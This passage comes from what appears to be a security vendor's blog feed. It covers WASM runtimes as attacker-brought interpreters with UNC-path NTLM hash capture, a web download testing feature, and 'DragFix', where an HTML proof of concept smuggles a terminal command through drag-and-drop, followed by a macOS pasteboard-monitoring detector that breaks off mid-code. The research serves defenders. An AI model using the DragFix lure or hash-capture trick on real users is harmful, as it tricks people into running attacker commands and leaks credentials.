perspective. A 284 KB binary can be base64-encoded inline in a PowerShell command or bundled into an HTML smuggling page.</p><p>The catch is that unfortunately wasm3 is no longer actively maintained (last release June 2021), and the prebuilt binaries have a broken WASI implementation. Any WASI syscall traps with an out-of-bounds memory access, which means modules that need to interact with the host (print to console, access files, read environment variables) will not work. Without WASI, a module can only perform pure computation but has no way to reach out to the system.</p><p>This limits the prebuilt wasm3 binary to a narrow set of use cases today. It can still trigger SMB authentication when pointed at a UNC path (the hash is captured during file access, before the module runs), and a purpose-built non-WASI module could perform computation and return results, but for a general-purpose BYOI payload that needs system interaction, the broken WASI is a blocker.</p><p>If the project ships a fixed release, or if an attacker is willing to build from source (which produces a working 219 KB binary with full WASI), wasm3 becomes a more interesting runtime.</p><h3><strong>Code Signing</strong></h3><p>None of the five runtimes tested are code-signed on Windows. Every binary returned <em>NotSigned</em> when checked with <em>Get-AuthenticodeSignature</em>. This is different to the Deno BYOR pattern that inspired this research, where the Deno runtime is Authenticode-signed and carries established SmartScreen reputation.</p><p>For WASM BYOI, this means the runtime binary will be flagged as an unknown publisher on first execution, and EDR products may treat it with higher suspicion. The unsigned status doesn’t prevent execution, but it reduces the “trusted tool” advantage that makes BYOI attractive in the first place.</p><h3><strong>Conclusion</strong></h3><p>Standalone WASM runtimes are viable BYOI vehicles for initial access simulation. Wasmer stands out for its remote WEBC loading and package registry, although every runtime tested loads and executes WASM from UNC paths, making NTLMv2 hash harvesting a universal secondary capability.</p><p>The absence of code signing across all runtimes is the most significant limitation. Without this, these binaries lack the trust and reputation that make the Deno BYOR pattern effective at evading endpoint security. Defenders should monitor for the presence of unsigned WASM runtime binaries (<em>wasmer.exe</em>, <em>wasmtime.exe</em>, <em>wazero.exe</em>, <em>wasm3.exe</em>, <em>wasmedge.exe</em>) and for process-creation events where these binaries are invoked with UNC paths or remote URLs.</p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email &amp; web security controls through the emulation of the full spectrum of attacker techniques.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 800 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email &amp; web defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=95acd8b9399e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beyond the Inbox — Introducing Web Campaigns]]></title>
            <link>https://medium.com/@delivrto/beyond-the-inbox-introducing-web-campaigns-ee137d868dc0?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee137d868dc0</guid>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[adversary-emulation]]></category>
            <category><![CDATA[purple-teaming]]></category>
            <category><![CDATA[web-security-testing]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Thu, 19 Mar 2026 09:23:53 GMT</pubDate>
            <atom:updated>2026-03-19T09:23:53.421Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TPGc4WbgSj4bJwayg8z4Kw.png" /></figure><p>For over three years, <a href="https://delivr.to/">delivr.to</a> has helped security teams answer a deceptively simple question: <em>what actually reaches users’ inboxes?</em> That question hasn’t gone away — but it’s no longer the only one worth asking.</p><p>Today, we’re releasing <strong>Web Campaigns</strong> — a new campaign type that tests whether payloads are successfully downloaded via web browser, evaluating security controls along the entire download chain: from network proxies to endpoint detection and response, and everything else in between.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*DiIsjkwrmbl5tTxMyEXCpw.png" /></figure><h4>What Web Campaigns Test</h4><p>To be explicit about the control chain that web campaigns exercise:</p><p>- <strong>DNS filtering and web proxies</strong> — Does the organisation’s network allow the download URL to resolve and connect?</p><p>- <strong>DPI firewalls and network sandboxes</strong> — Is the file inspected and detonated at the network edge?</p><p>- <strong>Browser-native protection</strong> — Does Chrome’s Safe Browsing, Edge’s SmartScreen, or Firefox’s built-in scanner flag the download?</p><p>- <strong>Browser extensions and plugins</strong> — Do any security-focused browser extensions intervene? (e.g. Push Security’s <a href="https://pushsecurity.com/blog/introducing-malicious-copy-paste-detection">ClickFix detection</a><em>)</em></p><p>- <strong>Endpoint detection and response</strong> — Does the EDR agent quarantine or block the file on write?</p><p>- <strong>Post-download scanning</strong> — Does scheduled or real-time antimalware scanning catch the file after it lands?</p><p>Each of these layers operates independently, and a failure at any single point means the payload reaches the user. Web campaigns give security teams a structured, repeatable way to identify which layers are working and which are not.</p><h3>Tracking Results</h3><p>When approaching <a href="https://delivr.to/">delivr.to</a> web delivery testing, we wanted the same focus on painless but comprehensive results collection that drives our email campaigns. That meant building automated verification directly into the download process — not just logging access events.</p><p>Server-side, each download is tracked with timestamp, source IP and user-agent. The results page surfaces these events in real-time, showing user-driven fetches, as well as any potential sandboxing ‘clicks’ that might occur at the same time.</p><p>Then, payload delivery is verified at two stages — from the hosted link to the browser, then from the browser to the endpoint file system.</p><p>Every download is hash-checked in the browser against an expected value. If it matches, the file made it through any proxy/SWG/network sandboxes intact. This works on all browsers with no configuration.</p><p>On Chromium browsers with our ‘Download Monitoring’ feature enabled, payloads are written to a selected folder via the File System Access API. <a href="https://delivr.to/">delivr.to</a> confirms a successful file write and also watches for post-write deletions. If Chrome’s Safe Browsing blocks the initial write, the result updates automatically. If an endpoint security solution subsequently acts on the file, this result is captured too.</p><p>If this Chromium File System Access API sounds familiar, we previously published research on its weaponisation here:</p><p><a href="https://blog.delivr.to/filejacking-exfiltrating-mapped-drives-from-the-browser-bb0af6736625">FileJacking: Exfiltrating Mapped Drives from the Browser</a></p><h3><strong>Launching a Campaign</strong></h3><p>Web campaigns follow a workflow that will be familiar to existing <a href="https://delivr.to/">delivr.to</a> users. The core concepts are the same — select payloads, launch a campaign, analyse results — with the delivery mechanism adapted for web-based testing.</p><p>Selecting web delivery from the sidebar, payload selection works identically to email campaigns — choose a template, browse the payload library, toggle individual payloads on or off.</p><blockquote>Email body-only payloads are naturally filtered out, since web campaigns deliver files via hosted download links, rather than inline email content.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*n8xHhprnFBScVE5j7ajmIg.png" /></figure><p>Campaign configuration is simplified. There are no recipients, senders, subject lines, or delivery delays. You configure the campaign name, link expiry duration, and whether to receive email results on completion. Web campaigns launch immediately — there is no scheduled start.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BB6B9Wr6WWShO5WoEI57Iw.png" /></figure><p>On launch, <a href="https://delivr.to/">delivr.to</a> generates a unique hosted download link for every selected payload. Links are reusable within the expiry window, allowing repeated testing against the same URLs. The campaign results page displays every payload with its corresponding download link, link expiry time, and access status.</p><p>Payloads can be downloaded or visited manually one-by-one by clicking the row buttons (e.g. visiting pastejacking sites or fake login portals), or by clicking ‘<em>Download All’</em> to trigger the sequential background download of every payload.</p><p>This is where the security control chain is exercised. Each download traverses the full stack of web security controls deployed in your environment — the same path a real end user would follow when downloading a file from a malicious or compromised website.</p><h3><strong>Conclusion</strong></h3><p>Email remains the most common delivery vector for phishing, BEC, and malware distribution — and <a href="https://delivr.to/">delivr.to</a>’s email campaign capabilities continue to expand. But the data increasingly shows that other initial access methods are coming to the fore.</p><p>Mandiant’s M-Trends 2025 report recorded web compromise as an initial access vector in 9% of incidents, nearly doubling from 5% the prior year.</p><p>The techniques behind these numbers are well-documented. ClickFix — where a fake CAPTCHA or error prompt instructs a user to paste a clipboard-hijacked command into Run or Terminal — surged 517% in the first half of 2025 and was rapidly adopted by several nation-state groups. Its variants continue to evolve, where FileFix moved the interaction to the file explorer address bar, and <a href="https://blog.delivr.to/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4">our recent research into DragFix</a> demonstrated how the HTML Drag and Drop API can smuggle commands via a completely separate data channel, bypassing clipboard monitoring altogether.</p><p>All of these techniques deliver a payload through the browser. Security teams that only test their email controls are testing half the attack surface.</p><p>Web campaigns are available now to all <a href="https://delivr.to/">delivr.to</a> users at their existing subscription tier, with no additional licensing required. Put your web security controls through their paces — you might be surprised what reaches disk!</p><h3>delivr.to</h3><p><a href="https://delivr.to/">delivr.to</a> is a platform for validating email and web security controls, through the continuous and automated sending of email attachment and link content.</p><p><a href="https://delivr.to/">delivr.to</a> has a broad collection of over 800 payload samples, ranging from recreations of threat actor activity, esoteric and weaponisable file formats, and emerging techniques. These are presented in hand-crafted ‘campaigns’ to provide an evidence-based appraisal of email and web defences and highlight areas for attack surface reduction.</p><p><a href="https://delivr.to/">delivr.to</a> offers a free 30 day trial, so head over and try it out now!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee137d868dc0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DragFix: And you thought ClickFix was a drag?]]></title>
            <link>https://medium.com/@delivrto/dragfix-and-you-thought-clickfix-was-a-drag-51a496773cb4?source=rss-1242be189bc------2</link>
            <guid isPermaLink="false">https://medium.com/p/51a496773cb4</guid>
            <category><![CDATA[purple-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[email-security]]></category>
            <dc:creator><![CDATA[delivr.to]]></dc:creator>
            <pubDate>Sat, 21 Feb 2026 19:14:52 GMT</pubDate>
            <atom:updated>2026-02-22T16:40:58.295Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oa-hO8G7-ARRsmzjyC-z6A.png" /></figure><blockquote>Test the deliverability of DragFix with delivr.to <a href="https://delivr.to/payloads?q=dragfix&amp;tab=payloads">here</a></blockquote><p>ClickFix has become one of the most prolific social engineering techniques in the threat actor playbook. The premise is simple: present an end user with a convincing lure — a fake CAPTCHA, an error dialog, a browser update prompt — and instruct them to paste a command into Run (Win+R) or macOS’s Terminal.</p><p>Behind the scenes, JavaScript writes a malicious one-liner to the clipboard via functions like navigator.clipboard.writeText() or document.execCommand(‘copy&#39;), and the user unknowingly pastes and executes it.</p><p>It works… <em>really well</em>.</p><p>Defensive technologies like Mark of the Web, and macOS’s Gatekeeper and Notarization can be avoided altogether.</p><p>Since the popularisation of ClickFix, other variations of the ‘pastejacking primitive’ have also risen to the fore; FileFix being a notable example (where the address bar of a file explorer window is used for execution).</p><blockquote>Check out our FileFix defensive blog <a href="https://blog.delivr.to/filefixed-detecting-and-preventing-filefix-exploitation-90825eb155ae">here</a></blockquote><p>Thankfully, defenders have been catching up. Clipboard monitoring is now a viable detection surface, and several enterprise security products deliver detective and preventative solutions; from browser extensions to EDR.</p><p>So what could the next evolution of this prevalent offensive technique look like? Well, maybe less <em>copy-paste</em>, and more <em>drag-and-drop</em>.</p><h3>Enter DragFix</h3><p>DragFix sidesteps typical clipboard monitoring entirely. Instead of writing to the system clipboard, it uses the <a href="https://developer.mozilla.org/en-US/docs/Web/API/HTML_Drag_and_Drop_API">HTML Drag and Drop API</a> to set data on the <em>drag transfer</em> — a completely separate data channel.</p><p>When a user drags an element, the dragstart event fires. The handler receives a DataTransfer object, and anything set on it via e.dataTransfer.setData() travels with the drag operation.</p><p>Here’s an example using a basic macOS device config fix lure:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1166969878%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1166969878&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2124789348-83b697c854b8c054ac650e5a1f29c6fa674fd049d8e85a0e99dca5c2371e4470-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1646" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/5006971a6722e09ee847a464f88fc812/href">https://medium.com/media/5006971a6722e09ee847a464f88fc812/href</a></iframe><p>Below is a stripped-down HTML file that demonstrates the core mechanic. This sets text/plain on the drag transfer so that dropping the update.sh element into any terminal window will paste the smuggled command:</p><pre>&lt;!DOCTYPE html&gt;<br>&lt;html&gt;<br>&lt;head&gt;<br>    &lt;meta charset=&quot;UTF-8&quot;&gt;<br>    &lt;style&gt;<br>        body {<br>            font-family: -apple-system, sans-serif;<br>            display: flex;<br>            justify-content: center;<br>            align-items: center;<br>            min-height: 100vh;<br>            margin: 0;<br>            background: #f5f5f7;<br>        }<br>        .file-icon {<br>            display: inline-flex;<br>            flex-direction: column;<br>            align-items: center;<br>            padding: 24px 32px;<br>            background: #fff;<br>            border: 1px solid #d2d2d7;<br>            border-radius: 12px;<br>            cursor: grab;<br>            user-select: none;<br>        }<br>        .file-icon:active { cursor: grabbing; }<br>        .file-icon svg { margin-bottom: 8px; }<br>    &lt;/style&gt;<br>&lt;/head&gt;<br>&lt;body&gt;<br>    &lt;div class=&quot;file-icon&quot; id=&quot;draggable&quot; draggable=&quot;true&quot;&gt;<br>        &lt;svg width=&quot;48&quot; height=&quot;48&quot; viewBox=&quot;0 0 56 56&quot; fill=&quot;none&quot;&gt;<br>            &lt;rect x=&quot;4&quot; y=&quot;8&quot; width=&quot;48&quot; height=&quot;40&quot; rx=&quot;6&quot; fill=&quot;#1d1d1f&quot;/&gt;<br>            &lt;path d=&quot;M14 38l10-10-10-10&quot; stroke=&quot;#4CD964&quot; stroke-width=&quot;3&quot;<br>                  stroke-linecap=&quot;round&quot; stroke-linejoin=&quot;round&quot;/&gt;<br>            &lt;line x1=&quot;28&quot; y1=&quot;38&quot; x2=&quot;42&quot; y2=&quot;38&quot; stroke=&quot;#86868b&quot;<br>                  stroke-width=&quot;3&quot; stroke-linecap=&quot;round&quot;/&gt;<br>        &lt;/svg&gt;<br>        &lt;span style=&quot;font-size:13px;font-weight:500;&quot;&gt;update.sh&lt;/span&gt;<br>    &lt;/div&gt;<br>    &lt;script&gt;<br>        document.getElementById(&#39;draggable&#39;)<br>            .addEventListener(&#39;dragstart&#39;, function(e) {<br>                e.dataTransfer.setData(&#39;text/plain&#39;, &#39;whoami&#39;);<br>                e.dataTransfer.effectAllowed = &#39;copy&#39;;<br>            });<br>    &lt;/script&gt;<br>&lt;/body&gt;<br>&lt;/html&gt;</pre><p>That’s the entire attack. A few lines of JavaScript; no traditional clipboard writes, permission requests or downloads. This works on both macOS and Windows.</p><p>Open it in Chrome or Safari, drag the icon into Terminal, and a whoami command — or something more nefarious — is ready to run.</p><h4>Auto-running Dropped Content</h4><p>We say <em>ready to run</em>… in some command line applications, like Windows Terminal, a new-line character \n leads the drag-and-dropped content to run immediately!</p><p>This makes this variation of pastejacking all the more potent. An eagle-eyed user that might otherwise manually inspect a ClickFix command before running it doesn’t get the chance in this case.</p><h3>Detection</h3><p>Sticking to our macOS example from earlier, regardless of where the malicious content comes from — browser, social media app, or something else — the content will interact with a <a href="https://developer.apple.com/documentation/appkit/nspasteboard">Pasteboard</a> in some way.</p><p>There’s currently no Endpoint Security Framework event emitted for paste events, so we can’t leverage that to pinpoint the source and destination of pasted/dragged data.</p><p>Patrick Wardle’s <a href="https://objective-see.org/blog/blog_0x85.html">recent updates to BlockBlock</a> demonstrate a viable approach that leverages tracking of the ⌘+V key press via the NSEvent class and the NSEventMaskKeyDown mask.</p><p>Taking an alternative approach, the below <a href="https://gist.github.com/ajpc500/13566fd48647885845cd2c91746ed852">proof-of-concept</a> monitors the general and drag pasteboards, polling for changes. When identified, it tracks the frontmost application (i.e. the app in focus) and logs when the source and destination match a browser-&gt;terminal scenario.</p><p>For drag-and-drop specifically, we can’t monitor the drop into a Terminal via a key press, so we use macOS Accessibility observers on our named terminal processes to detect when text content changes. By correlating these changes with updates to the drag pasteboard, we can identify when the dragged content — including from our HTML example earlier — successfully lands in a terminal.</p><pre>// ClipboardMonitor.m<br>//<br>// Simple pasteboard monitor that logs clipboard and drag pasteboard activity<br>// with source and destination attribution.<br>//<br>// Compile:<br>//   clang -fobjc-arc -framework Cocoa -framework ApplicationServices -framework Security \<br>//         -o ClipboardMonitor ClipboardMonitor.m<br>//<br>// Run (requires Accessibility permission):<br>//   ./ClipboardMonitor<br><br>#import &lt;Cocoa/Cocoa.h&gt;<br>#import &lt;ApplicationServices/ApplicationServices.h&gt;<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Configuration<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static NSSet&lt;NSString *&gt; *gTerminalBundleIDs;<br>static NSSet&lt;NSString *&gt; *gBrowserBundleIDs;<br><br>static void InitConfig(void) {<br>    gTerminalBundleIDs = [NSSet setWithArray:@[<br>        @&quot;com.apple.Terminal&quot;,<br>        @&quot;com.googlecode.iterm2&quot;,<br>        @&quot;com.mitchellh.ghostty&quot;,<br>        @&quot;net.kovidgoyal.kitty&quot;,<br>        @&quot;dev.warp.Warp-Stable&quot;,<br>        @&quot;com.github.wez.wezterm&quot;,<br>        @&quot;co.zeit.hyper&quot;,<br>    ]];<br><br>    gBrowserBundleIDs = [NSSet setWithArray:@[<br>        @&quot;com.apple.Safari&quot;,<br>        @&quot;com.google.Chrome&quot;,<br>        @&quot;org.mozilla.firefox&quot;,<br>        @&quot;com.microsoft.edgemac&quot;,<br>        @&quot;com.brave.Browser&quot;,<br>        @&quot;company.thebrowser.Browser&quot;,<br>        @&quot;com.operasoftware.Opera&quot;,<br>        @&quot;com.vivaldi.Vivaldi&quot;,<br>        @&quot;app.zen-browser.zen&quot;,<br>    ]];<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Signing ID lookup<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static NSMutableDictionary&lt;NSString *, NSString *&gt; *gSigningIDCache;<br><br>static NSString *SigningID(NSRunningApplication *app) {<br>    if (!app || !app.bundleURL) return @&quot;&lt;unknown&gt;&quot;;<br><br>    NSString *cacheKey = app.bundleURL.absoluteString;<br>    if (!gSigningIDCache) gSigningIDCache = [NSMutableDictionary new];<br>    NSString *cached = gSigningIDCache[cacheKey];<br>    if (cached) return cached;<br><br>    SecStaticCodeRef staticCode = NULL;<br>    OSStatus status = SecStaticCodeCreateWithPath(<br>        (__bridge CFURLRef)app.bundleURL, kSecCSDefaultFlags, &amp;staticCode);<br>    if (status != errSecSuccess || !staticCode) return @&quot;&lt;unsigned&gt;&quot;;<br><br>    CFDictionaryRef info = NULL;<br>    status = SecCodeCopySigningInformation(staticCode, kSecCSSigningInformation, &amp;info);<br>    CFRelease(staticCode);<br>    if (status != errSecSuccess || !info) return @&quot;&lt;unsigned&gt;&quot;;<br><br>    NSDictionary *sigInfo = (__bridge_transfer NSDictionary *)info;<br>    NSString *identifier = sigInfo[(__bridge NSString *)kSecCodeInfoIdentifier];<br>    NSString *result = identifier ?: @&quot;&lt;unsigned&gt;&quot;;<br><br>    gSigningIDCache[cacheKey] = result;<br>    return result;<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - App categorisation helpers<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static NSString *AppCategory(NSString *bundleID) {<br>    if (!bundleID) return @&quot;unknown&quot;;<br>    if ([gTerminalBundleIDs containsObject:bundleID]) return @&quot;terminal&quot;;<br>    if ([gBrowserBundleIDs containsObject:bundleID])  return @&quot;browser&quot;;<br>    return @&quot;other&quot;;<br>}<br><br>static NSString *AppLabel(NSRunningApplication *app) {<br>    if (!app) return @&quot;&lt;unknown&gt;&quot;;<br>    return [NSString stringWithFormat:@&quot;%@ (%@)&quot;,<br>            app.localizedName ?: @&quot;?&quot;,<br>            app.bundleIdentifier ?: @&quot;?&quot;];<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Shared preview helper<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static const NSUInteger kPreviewMaxLen = 120;<br><br>static NSString *Preview(NSString *text) {<br>    if (!text || text.length == 0) return @&quot;&lt;empty&gt;&quot;;<br>    NSUInteger len = MIN(kPreviewMaxLen, text.length);<br>    NSString *preview = [text substringToIndex:len];<br>    preview = [preview stringByReplacingOccurrencesOfString:@&quot;\n&quot; withString:@&quot;\\n&quot;];<br>    preview = [preview stringByReplacingOccurrencesOfString:@&quot;\r&quot; withString:@&quot;\\r&quot;];<br>    if (text.length &gt; len) preview = [preview stringByAppendingString:@&quot;…&quot;];<br>    return preview;<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Clipboard source tracking<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static NSString *gCopySourceBundleID  = nil;<br>static NSString *gCopySourceAppName   = nil;<br>static NSString *gCopySourceSigningID = nil;<br>static NSString *gCopySourceCategory  = nil;<br><br>static void RecordCopySource(void) {<br>    NSRunningApplication *front = NSWorkspace.sharedWorkspace.frontmostApplication;<br>    gCopySourceBundleID  = front.bundleIdentifier ?: @&quot;&lt;unknown&gt;&quot;;<br>    gCopySourceAppName   = front.localizedName    ?: @&quot;&lt;unknown&gt;&quot;;<br>    gCopySourceSigningID = SigningID(front);<br>    gCopySourceCategory  = AppCategory(gCopySourceBundleID);<br><br>    NSString *clipText = [NSPasteboard.generalPasteboard stringForType:NSPasteboardTypeString];<br>    NSUInteger len = clipText.length;<br>    NSString *preview = Preview(clipText);<br><br>    // Only log if source is a terminal or browser<br>    if ([gCopySourceCategory isEqualToString:@&quot;other&quot;]) return;<br><br>    NSLog(@&quot;📋 COPY  | source: %@ [%@] signing_id:%@ category:%@ | %lu chars | \&quot;%@\&quot;&quot;,<br>          gCopySourceAppName, gCopySourceBundleID, gCopySourceSigningID,<br>          gCopySourceCategory, (unsigned long)len, preview);<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Paste logging<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static void LogPaste(NSString *trigger) {<br>    NSRunningApplication *dest = NSWorkspace.sharedWorkspace.frontmostApplication;<br>    NSString *destBundleID  = dest.bundleIdentifier ?: @&quot;&lt;unknown&gt;&quot;;<br>    NSString *destAppName   = dest.localizedName    ?: @&quot;&lt;unknown&gt;&quot;;<br>    NSString *destSigningID = SigningID(dest);<br>    NSString *destCategory  = AppCategory(destBundleID);<br><br>    // Only log if source or destination is a terminal/browser<br>    BOOL sourceInteresting = gCopySourceCategory &amp;&amp; ![gCopySourceCategory isEqualToString:@&quot;other&quot;];<br>    BOOL destInteresting   = ![destCategory isEqualToString:@&quot;other&quot;];<br>    if (!sourceInteresting &amp;&amp; !destInteresting) return;<br><br>    NSString *clipText = [NSPasteboard.generalPasteboard stringForType:NSPasteboardTypeString];<br>    NSUInteger len = clipText.length;<br>    NSString *preview = Preview(clipText);<br><br>    NSLog(@&quot;📎 PASTE | trigger: %@ | source: %@ [%@] (%@) → dest: %@ [%@] (%@) | %lu chars | \&quot;%@\&quot;&quot;,<br>          trigger,<br>          gCopySourceAppName   ?: @&quot;&lt;unknown&gt;&quot;, gCopySourceBundleID  ?: @&quot;&lt;unknown&gt;&quot;, gCopySourceCategory ?: @&quot;unknown&quot;,<br>          destAppName, destBundleID, destCategory,<br>          (unsigned long)len, preview);<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Drag pasteboard monitoring<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static NSInteger gLastDragChangeCount = 0;<br><br>static void CheckDragPasteboard(void) {<br>    NSPasteboard *dragPB = [NSPasteboard pasteboardWithName:NSPasteboardNameDrag];<br>    NSInteger current = dragPB.changeCount;<br>    if (current == gLastDragChangeCount) return;<br>    gLastDragChangeCount = current;<br><br>    NSString *dragText = [dragPB stringForType:NSPasteboardTypeString];<br>    if (!dragText || dragText.length == 0) return;<br><br>    NSUInteger len = dragText.length;<br>    NSString *preview = Preview(dragText);<br><br>    NSRunningApplication *front = NSWorkspace.sharedWorkspace.frontmostApplication;<br>    NSString *appName   = front.localizedName    ?: @&quot;&lt;unknown&gt;&quot;;<br>    NSString *bundleID  = front.bundleIdentifier ?: @&quot;&lt;unknown&gt;&quot;;<br>    NSString *category  = AppCategory(bundleID);<br><br>    // Only log if the drag involves a terminal or browser<br>    if ([category isEqualToString:@&quot;other&quot;]) return;<br><br>    NSLog(@&quot;📦 DRAG  | app: %@ [%@] (%@) | %lu chars | \&quot;%@\&quot;&quot;,<br>          appName, bundleID, category, (unsigned long)len, preview);<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - AX terminal watcher (drop detection)<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>static NSMutableDictionary&lt;NSNumber *, NSValue *&gt; *gAXObservers;<br>static NSInteger gLastSeenDragPBChangeCount = 0;<br><br>static void AXCallback(AXObserverRef observer, AXUIElementRef element,<br>                        CFStringRef notification, void *refcon)<br>{<br>    NSString *notifName = (__bridge NSString *)notification;<br>    if (![notifName isEqualToString:(__bridge NSString *)kAXValueChangedNotification])<br>        return;<br><br>    pid_t termPID = 0;<br>    AXUIElementGetPid(element, &amp;termPID);<br>    if (termPID &lt;= 0) return;<br><br>    // Check if the drag pasteboard changed since we last saw it — indicates a fresh drop<br>    NSPasteboard *dragPB = [NSPasteboard pasteboardWithName:NSPasteboardNameDrag];<br>    NSInteger dragPBCount = dragPB.changeCount;<br>    if (dragPBCount == gLastSeenDragPBChangeCount) return;<br>    gLastSeenDragPBChangeCount = dragPBCount;<br><br>    NSString *dragText = [dragPB stringForType:NSPasteboardTypeString];<br>    if (!dragText || dragText.length == 0) return;<br><br>    NSRunningApplication *termApp =<br>        [NSRunningApplication runningApplicationWithProcessIdentifier:termPID];<br>    NSString *destBundleID = termApp.bundleIdentifier ?: @&quot;&lt;unknown&gt;&quot;;<br>    NSString *destAppName  = termApp.localizedName    ?: @&quot;&lt;unknown&gt;&quot;;<br><br>    NSUInteger len = dragText.length;<br>    NSString *preview = Preview(dragText);<br><br>    NSLog(@&quot;🎯 DROP  | source: drag pasteboard → dest: %@ [%@] (%@) | %lu chars | \&quot;%@\&quot;&quot;,<br>          destAppName, destBundleID, AppCategory(destBundleID),<br>          (unsigned long)len, preview);<br>}<br><br>static void WatchTerminal(NSRunningApplication *app) {<br>    pid_t pid = app.processIdentifier;<br>    NSNumber *pidKey = @(pid);<br>    if (gAXObservers[pidKey]) return;<br><br>    AXObserverRef observer = NULL;<br>    AXError err = AXObserverCreate(pid, AXCallback, &amp;observer);<br>    if (err != kAXErrorSuccess || !observer) return;<br><br>    AXUIElementRef appElement = AXUIElementCreateApplication(pid);<br>    AXObserverAddNotification(observer, appElement, kAXValueChangedNotification, NULL);<br>    CFRelease(appElement);<br><br>    CFRunLoopAddSource(CFRunLoopGetMain(),<br>        AXObserverGetRunLoopSource(observer),<br>        kCFRunLoopCommonModes);<br><br>    gAXObservers[pidKey] = [NSValue valueWithPointer:observer];<br>}<br><br>static void StartTerminalWatchers(void) {<br>    gAXObservers = [NSMutableDictionary new];<br>    gLastSeenDragPBChangeCount = [NSPasteboard pasteboardWithName:NSPasteboardNameDrag].changeCount;<br><br>    // Watch existing terminals<br>    for (NSRunningApplication *app in NSWorkspace.sharedWorkspace.runningApplications) {<br>        if (app.bundleIdentifier &amp;&amp; [gTerminalBundleIDs containsObject:app.bundleIdentifier]) {<br>            WatchTerminal(app);<br>            NSLog(@&quot;  👁 Watching %@ (pid %d)&quot;, app.bundleIdentifier, app.processIdentifier);<br>        }<br>    }<br><br>    // Watch for new terminal launches<br>    [NSWorkspace.sharedWorkspace.notificationCenter<br>        addObserverForName:NSWorkspaceDidLaunchApplicationNotification<br>                    object:nil<br>                     queue:NSOperationQueue.mainQueue<br>                usingBlock:^(NSNotification *note) {<br>        NSRunningApplication *app = note.userInfo[NSWorkspaceApplicationKey];<br>        if (app.bundleIdentifier &amp;&amp; [gTerminalBundleIDs containsObject:app.bundleIdentifier]) {<br>            WatchTerminal(app);<br>            NSLog(@&quot;  👁 Now watching %@ (pid %d)&quot;, app.bundleIdentifier, app.processIdentifier);<br>        }<br>    }];<br>}<br><br>// ─────────────────────────────────────────────────────────────────────────────<br>#pragma mark - Main<br>// ─────────────────────────────────────────────────────────────────────────────<br><br>int main(int argc, const char *argv[]) {<br>    @autoreleasepool {<br>        NSApplication *app = [NSApplication sharedApplication];<br>        [app setActivationPolicy:NSApplicationActivationPolicyAccessory];<br><br>        InitConfig();<br><br>        // Check Accessibility permission<br>        NSDictionary *opts = @{(__bridge id)kAXTrustedCheckOptionPrompt: @YES};<br>        if (!AXIsProcessTrustedWithOptions((__bridge CFDictionaryRef)opts)) {<br>            NSLog(@&quot;⚠️  Grant Accessibility permission in System Settings, then re-run.&quot;);<br>            while (!AXIsProcessTrusted()) {<br>                [NSThread sleepForTimeInterval:1.0];<br>            }<br>            NSLog(@&quot;✅ Accessibility permission granted!&quot;);<br>        }<br><br>        NSLog(@&quot;╔══════════════════════════════════════════╗&quot;);<br>        NSLog(@&quot;║   Clipboard &amp; Drag Pasteboard Monitor    ║&quot;);<br>        NSLog(@&quot;║                  @ajpc500 / delivr.to    ║&quot;);<br>        NSLog(@&quot;╚══════════════════════════════════════════╝&quot;);<br>        NSLog(@&quot;&quot;);<br>        NSLog(@&quot;Monitored terminals:&quot;);<br>        for (NSString *bid in [gTerminalBundleIDs.allObjects sortedArrayUsingSelector:@selector(compare:)]) {<br>            NSLog(@&quot;  • %@&quot;, bid);<br>        }<br>        NSLog(@&quot;&quot;);<br>        